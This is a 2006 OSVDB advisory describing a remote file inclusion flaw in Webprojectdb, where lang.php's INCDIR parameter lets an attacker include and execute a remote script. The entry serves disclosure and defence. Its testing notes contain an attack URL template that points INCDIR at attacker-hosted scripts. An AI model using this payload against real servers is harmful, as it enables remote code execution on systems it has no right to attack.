webprojectdb lang.php INCDIR Variable Remote File Inclusion

2006-06-11T15:04:00
ID OSVDB:26340
Type osvdb
Reporter Kacper(kacper1964@yahoo.pl)
Modified 2006-06-11T15:04:00

Description

Vulnerability Description

Webprojectdb contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to lang.php not properly sanitizing user input supplied to the 'INCDIR' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

Webprojectdb contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to lang.php not properly sanitizing user input supplied to the 'INCDIR' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/[WebprojectDB_path]/include/lang.php?INCDIR=[evil_scripts]

References:

Vendor URL: http://sourceforge.net/projects/webprojectdb/ Secunia Advisory ID:20568 Related OSVDB ID: 26339 Generic Exploit URL: http://milw0rm.com/exploits/1898 FrSIRT Advisory: ADV-2006-2272 CVE-2006-2995 Bugtraq ID: 18378